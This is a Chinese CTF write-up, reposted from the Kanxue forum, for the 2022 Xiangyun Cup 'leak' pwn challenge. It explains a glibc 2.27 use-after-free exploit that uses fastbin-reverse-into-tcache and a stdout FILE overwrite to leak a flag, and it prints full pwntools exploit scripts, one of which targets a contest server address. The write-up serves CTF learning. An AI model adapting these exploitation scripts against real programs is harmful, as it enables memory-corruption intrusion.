祥云杯2022-leak Writeup

luozhenni

祥云杯2022-leak Writeup
原文链接：祥云杯2022-leak Writeup
xi@0ji233 看雪学菀 2022-11-27 17:59 发表于上海
本文为看雪论坛精华文章
看雪论坛作者ID：xi@0ji233
祥云杯做到一道出的还挺好的题目，而且学了较多的利用思路，特此记录。leak.zip（https://xia0ji233.pro/2022/10/31/XYcup2022/leak.zip）
一
文件分析
这一题呢，是一道经典的 2.27 1.6 版本的堆题，实现了增删改的功能，没有查，4，5两个选项目测是摆设，在题目的一开始，把 flag 的内容读到了堆上，delete 操作存在 uaf 漏洞
二
思路分析
这题它主要是没有 IO 函数，所以 IO 结构体一直没有初始化。但是这里小知识点来了：我们只要把 stdout 的 flag 设置为 0xfbad1800，然后再 exit，它就会输出 IO_write_base 到 IO_write_ptr 俩指针中间的内容，并且它是逐字节打印的，只有尝试打印不可读的内存的时候才会崩溃，只要 IO_write_base 往后还有可读内存，它就一定能打印这些信息。
这个知识其实是 IO 里面的，是当时 fmyy 师傅给我的提示，于是我们的思路就是构造合理的 IO 结构体，然后 IO_write_base 改成 堆的地址，flag 和 IO_write_ptr 改成合理的内范围就可以泄露堆上面的内容了，如图所示：

​

编辑
所以我们的思路是要往 IO 这里写一个堆地址，然后可能还需要再劫持一个指针过去能任意写，至少需要 0x30 的写空间。
然后其实就是写堆地址比较困难了，因为我们根本没有办法泄露堆地址，所以需要用其它的思路，这里肥猫师傅给我的思路就是 fastbin reverse into tcache，当然还有其它的不过我得先学学。
fastbin reverse into tcache
这个利用手法就是需要存在 uaf。然后我们在构造一个 fastbin，将 fastbin 的 fd 改成 target，再把 tcache 中对应大小的堆块数量改得小于7，我们此时再申请一个这个大小的 fast bin就能直接将堆的地址写到 target + 0x18 的位置处。
这里我们可以分析一下它的行为：
因为 glibc 认为 fastbin 中如果还有数据且 tcache 数据不满的情况，我们就会将 fastbin 中剩下的数据取出放入 tcache 当中。这里还需要注意，这个版本的 tcache 已经有了两个字段，它已经变成了双链表，检查也更多了，没有之前那么脆弱，但是需要用到这个利用，还得它是双链表，单链表用不起来的。
那么这个 tcache 对应的 bin 每个 size 都有一个 fd 和 bk。而我们 fastbin 链入 tcache 大概就是：

1. fastbin->fd=tcache[size]->fd
   
2. fastbin->bk=&tcache[size]
   
3. tcache[size]->fd=fastbin

复制代码

那么我们看到这里有一个行为是 fastbin->bk=&tcache[size]。而在 2.27 1.4版本以前（不包括）是没有这句话的，因为它tcache 都没有 bk 指针。所以这里我们可以任意写一个堆地址，这就是 fastbin reverse into tcache 的利用思路。
uaf的利用
这里 uaf 并不能直接 double free，因为这个版本开始检测了 double free，并且是遍历检测，他只要在 tcache 中发现有相同的指针直接给你输出一句 corruption。
但是这里我们能 add 的次数是有限的，所以本着非必要不 add 的原则我们还是能省则省。
我们先构造一个 unsorted bin，然后利用堆重叠的思路，在上面构造两个 size 的 bin，一个只需要用 tcache 即可，还有一个要构造出 fastbin才行。
我们先布局一下：
交互函数：

1. def choice(ch):
   
2.     p.sendlineafter(b'Your choice: ',str(ch))
   
3. def Index(index):
   
4.     p.sendlineafter(b'Index: ',str(index))
   
5. def INDEX(index):
   
6.     p.sendlineafter(b'index: ',str(index))
   
7. 
   
8. def add(index,size):
   
9.     choice(1)
   
10.     Index(index)
    
11.     p.sendlineafter(b'Size: ',str(size))
    
12. 
    
13. def edit(index,content):
    
14.     choice(2)
    
15.     Index(index)
    
16.     p.sendafter(b'Content: ',content)
    
17. 
    
18. def de(index1,index2):
    
19.     choice(4)
    
20.     INDEX(index1)
    
21.     INDEX(index2)
    
22. 
    
23. def free(index):
    
24.     choice(3)
    
25.     Index(index)

复制代码

构造 0 1 两个 chunk 互刷，填满 tcache。再用 1，2 两个 chunk 去 free 得到两个 fastbin，这里应该用一个就可以了的。。因为我们 fast bin 后面 fd 可以伪造。

1. add(0,0x30)
   
2. add(1,0x30)
   
3. add(4,0x20)
   
4. add(2,0x30)
   
5. for  i in range(3):
   
6. free(0)
   
7. edit(0,p64(0))
   
8. free(1)
   
9. edit(1,p64(0))
   
10. 
    
11. free(0)
    
12. edit(0,p64(0))
    
13. free(1)
    
14. free(2)

复制代码

​

编辑
我们主要就是针对这个 340 的堆块进行堆重叠。
也就是图中的 fastbin。

​

编辑
然后我们 tcache 劫持一个 堆块到 340 的位置方便我们修改这个 size。这个时候我们需要提前布局好，我们改成 unsorted bin 之后会有多大，下面我们再分配一个 0x90 的堆块和这个一加起来就是 0xd0。所以unsorted bin 我们伪造 0xd0。
因为 fastbin 的存在会触发 malloc_consolidate 函数，所以我们这里删除了 fastbin，等接下来再构造。

1. add(0,0x30)
   
2. add(1,0x30)
   
3. add(4,0x20)
   
4. add(2,0x30)
   
5. for  i in range(3):
   
6.     free(0)
   
7.     edit(0,p64(0))
   
8.     free(1)
   
9.     edit(1,p64(0))
   
10. 
    
11. free(0)
    
12. edit(0,p64(0))
    
13. 
    
14. add(3,0x90)
    
15. add(5,0x20)
    
16. add(8,0xd0)
    
17. add(9,0x50)
    
18. 
    
19. free(4)
    
20. free(5)
    
21. edit(5,'\x40')

复制代码

后面再进行一次布局，然后 uaf 改指针的低位为 \x40 字节。此时一个 tcache chunk 的 fd 指向了我们要伪造的堆块的地址。

​

编辑
再把两个堆块取出来，然后取出的第二个堆块就是我们重叠的 可以改 size 的块。

1. add(0,0x30)
   
2. add(1,0x30)
   
3. add(4,0x20)
   
4. add(2,0x30)
   
5. for  i in range(3):
   
6.     free(0)
   
7.     edit(0,p64(0))
   
8.     free(1)
   
9.     edit(1,p64(0))
   
10. 
    
11. free(0)
    
12. edit(0,p64(0))
    
13. 
    
14. add(3,0x90)
    
15. add(5,0x20)
    
16. add(8,0xd0)
    
17. add(9,0x50)
    
18. 
    
19. free(4)
    
20. free(5)
    
21. edit(5,'\x40')
    
22. 
    
23. add(6,0x20)
    
24. add(7,0x20)
    
25. edit(7,p64(0x6161616161616161)+p64(0x41))
    
26. 
    
27. free(1)
    
28. free(2)
    
29. edit(7,p64(0x65656565)+p64(0x61))
    
30. 
    
31. free(9)
    
32. free(2)
    
33. 
    
34. edit(7,p64(0x65656565)+p64(0xe1))

复制代码

到这里我们就完成了 tcache 的构造，和 fastbin 的构造。

​

编辑
然后我们就应该这个伪造的 0xe0 的堆块和我们之前布局的一个 0xe0 的堆块互刷产生 unsorted bin，带上 libc 的地址，然后改掉低两个字节去 stdout那边。

1. add(0,0x30)
   
2. add(1,0x30)
   
3. add(4,0x20)
   
4. add(2,0x30)
   
5. for  i in range(3):
   
6.     free(0)
   
7.     edit(0,p64(0))
   
8.     free(1)
   
9.     edit(1,p64(0))
   
10. 
    
11. free(0)
    
12. edit(0,p64(0))
    
13. 
    
14. add(3,0x90)
    
15. add(5,0x20)
    
16. add(8,0xd0)
    
17. add(9,0x50)
    
18. 
    
19. free(4)
    
20. free(5)
    
21. edit(5,'\x40')
    
22. 
    
23. add(6,0x20)
    
24. add(7,0x20)
    
25. edit(7,p64(0x6161616161616161)+p64(0x41))
    
26. 
    
27. free(1)
    
28. free(2)
    
29. edit(7,p64(0x65656565)+p64(0x61))
    
30. 
    
31. free(9)
    
32. free(2)
    
33. 
    
34. edit(7,p64(0x65656565)+p64(0xe1))
    
35. 
    
36. for i in range(3):
    
37.     free(8)
    
38.     edit(8,p64(0))
    
39.     free(2)
    
40.     edit(2,p64(0))
    
41. 
    
42. free(8)
    
43. edit(8,p64(0))
    
44. free(2)
    
45. edit(7,p64(0x65656565)+p64(0x41)+b'\x60\xe7')
    
46. 
    
47. add(11,0x50)
    
48. add(10,0x50)
    
49. edit(10,p64(0xfbad1800)+p64(0)*4+p64(0x5fffffffffff))

复制代码

这里用我们伪造的 0x60 的堆块去 stdout 改掉了 flag 和 IO_write_ptr。

​

编辑
最后再把 地址改成 768，也就是 IO_read_ptr 的地址，因为这样的话就会去执行

1. fastbin->bk=&tcache[size]

复制代码

的时候就会给 768+0x18（fast bin 的 bk 是在+0x18的位置）的位置写上 tcache bin 的地址。
我们刚刚那个情况的堆块情况是这样的：

​

编辑
然后我们把这个 fd 再改了，然后 add 一个 0x40 的堆块，会把 tcache 中的堆块取出来，tcache bin不为满且 tcache bin 的指针为 NULL。我们再次取 0x40 的堆块就会取 fastbin，然后判断 fastbin 不为空，把这个 340 堆块的 fd 当作 fastbin 放入 tcache 当中，触发 fastbin reverse into tcache，在 IO_write_base 上写入地址。
最后我们成功构造出 IO 结构体。

​

编辑
然后选择选项 6 exit输出一大堆内容，我们直接用终端的搜索可以找到 flag，这里需要爆破 半个字节去找到 stdout。

​

编辑
来看看冤种选手赛后出题。

​

编辑
最终exp

1. from pwn import *
   
2. context.log_level='debug'
   
3. file='./leak'
   
4. elf=ELF(file)
   
5. libc=ELF('./libc/libc-2.27-64.so')
   
6. #p=process(file)
   
7. def pwn():
   
8.     p=remote('101.201.71.136', 20783)
   
9.     def choice(ch):
   
10.         p.sendlineafter(b'Your choice: ',str(ch))
    
11.     def Index(index):
    
12.         p.sendlineafter(b'Index: ',str(index))
    
13.     def INDEX(index):
    
14.         p.sendlineafter(b'index: ',str(index))
    
15. 
    
16.     def add(index,size):
    
17.         choice(1)
    
18.         Index(index)
    
19.         p.sendlineafter(b'Size: ',str(size))
    
20. 
    
21.     def edit(index,content):
    
22.         choice(2)
    
23.         Index(index)
    
24.         p.sendafter(b'Content: ',content)
    
25. 
    
26.     def de(index1,index2):
    
27.         choice(4)
    
28.         INDEX(index1)
    
29.         INDEX(index2)
    
30. 
    
31.     def free(index):
    
32.         choice(3)
    
33.         Index(index)
    
34. 
    
35.     add(0,0x30)
    
36.     add(1,0x30)
    
37.     add(4,0x20)
    
38.     add(2,0x30)
    
39.     for  i in range(3):
    
40.         free(0)
    
41.         edit(0,p64(0))
    
42.         free(1)
    
43.         edit(1,p64(0))
    
44. 
    
45.     free(0)
    
46.     edit(0,p64(0))
    
47.     #free(1)
    
48.     #free(2)
    
49. 
    
50.     add(3,0x90)
    
51.     add(5,0x20)
    
52.     add(8,0xd0)
    
53.     add(9,0x50)
    
54. 
    
55.     free(4)
    
56.     free(5)
    
57.     edit(5,'\x40')
    
58. 
    
59.     add(6,0x20)
    
60.     add(7,0x20)
    
61.     edit(7,p64(0x6161616161616161)+p64(0x41))
    
62.     free(1)
    
63.     free(2)
    
64.     edit(7,p64(0x65656565)+p64(0x61))
    
65. 
    
66. 
    
67.     free(9)
    
68.     free(2)
    
69. 
    
70.     edit(7,p64(0x65656565)+p64(0xe1))
    
71.     for i in range(3):
    
72.         free(8)
    
73.         edit(8,p64(0))
    
74.         free(2)
    
75.         edit(2,p64(0))
    
76. 
    
77.     free(8)
    
78.     edit(8,p64(0))
    
79.     free(2)
    
80.     edit(7,p64(0x65656565)+p64(0x41)+b'\x60\xe7')
    
81. 
    
82.     add(11,0x50)
    
83.     add(10,0x50)
    
84.     edit(10,p64(0xfbad1800)+p64(0)*4+p64(0x5fffffffffff))
    
85. 
    
86.     edit(2,'\x68\xe7')
    
87.     add(12,0x30)
    
88.     add(13,0x30)
    
89.     #gdb.attach(p)
    
90. 
    
91.     p.interactive()
    
92. while True:  
    
93.     try:
    
94.         pwn()
    
95.     except:
    
96.         continue
    
97.     break

复制代码

三比赛感想
真的我太冤种了，赛时不看题，赛后两小时出题，我因为看错版本，浪费 4 个小时，以为是 1.2 版本的可以 double free 的，并且 2.27 1.2版本因为没有 bk 指针无法进行 fastbin reverse into tcache，因此否定了一开始正确的思路，并且我一开始的构造堆块的时候。我的想法是分配两个指针在 stdout，然后一个指针在前伪造 size，另一个指针被 free fd带上了堆块地址，然后稍微把堆块地址改小点就也可以泄露。并且 2.27 1.2 版本的exp都写好了，结果突然发现是 1.6 版本的，最关键是我们队多我这一题就能进决赛了，太可惜了！检讨：做题一定要看题目版本，就像考试一定要先检查答卷，下次不要犯这种错误了。
也把1.2版本的exp扔出来给师傅们学习一下这个思路。

1. from pwn import *
   
2. #context.log_level='debug'
   
3. file='./leak'
   
4. elf=ELF(file)
   
5. libc=ELF('./libc/libc-2.27-64.so')
   
6. p=process(file)
   
7. 
   
8. def choice(ch):
   
9.     p.sendlineafter(b'Your choice: ',str(ch))
   
10. def Index(index):
    
11.     p.sendlineafter(b'Index: ',str(index))
    
12. def INDEX(index):
    
13.     p.sendlineafter(b'index: ',str(index))
    
14. 
    
15. def add(index,size):
    
16.     choice(1)
    
17.     Index(index)
    
18.     p.sendlineafter(b'Size: ',str(size))
    
19. 
    
20. def edit(index,content):
    
21.     choice(2)
    
22.     Index(index)
    
23.     p.sendafter(b'Content: ',content)
    
24. 
    
25. def de(index1,index2):
    
26.     choice(4)
    
27.     INDEX(index1)
    
28.     INDEX(index2)
    
29. 
    
30. def free(index):
    
31.     choice(3)
    
32.     Index(index)
    
33. 
    
34. 
    
35. add(7,0x20)
    
36. add(8,0x20)
    
37. add(9,0x90)
    
38. add(0,0x90)
    
39. 
    
40. add(1,0x10)
    
41. free(7)
    
42. free(8)
    
43. 
    
44. for i in range(3):
    
45.     free(0)
    
46.     edit(0,p64(0)*2)
    
47.     free(9)
    
48.     edit(9,p64(0)*2)
    
49. 
    
50. free(0)
    
51. #edit(0,p64(0)*2)
    
52. 
    
53. free(9)
    
54. 
    
55. edit(0,'\x00')
    
56. #edit(0,'\x60\xe7')
    
57. add(2,0x90)
    
58. add(10,0x90)
    
59. gdb.attach(p)
    
60. add(3,0x90)
    
61. 
    
62. 
    
63. edit(3,p64(0xfbad1800))
    
64. 
    
65. edit(0,'\xa0\xdc')
    
66. 
    
67. add(4,0x90)
    
68. free(4)
    
69. edit(4,p64(0))
    
70. 
    
71. free(0)
    
72. edit(0,'\x80\xe7')
    
73. 
    
74. add(5,0x90)
    
75. add(6,0x90)
    
76. 
    
77. edit(3,p64(0)*2+p64(0xfbad1800)+p64(0)*2+p64(0x31)*2+p64(0x5fffffffffff))
    
78. free(6)
    
79. edit(3,p64(0)*2+p64(0xfbad1800)+p64(0)*2+p64(0x31)+b'\x00')
    
80. choice(6)
    
81. 
    
82. 
    
83. #flag=p.recvuntil('}')
    
84. #print(flag[-40:])
    
85. 
    
86. 
    
87. p.interactive()

复制代码

看雪ID：xi@0ji233
https://bbs.pediy.com/user-home-919002.htm
*本文由看雪论坛 xi@0ji233 原创，转载请注明来自看雪社区
​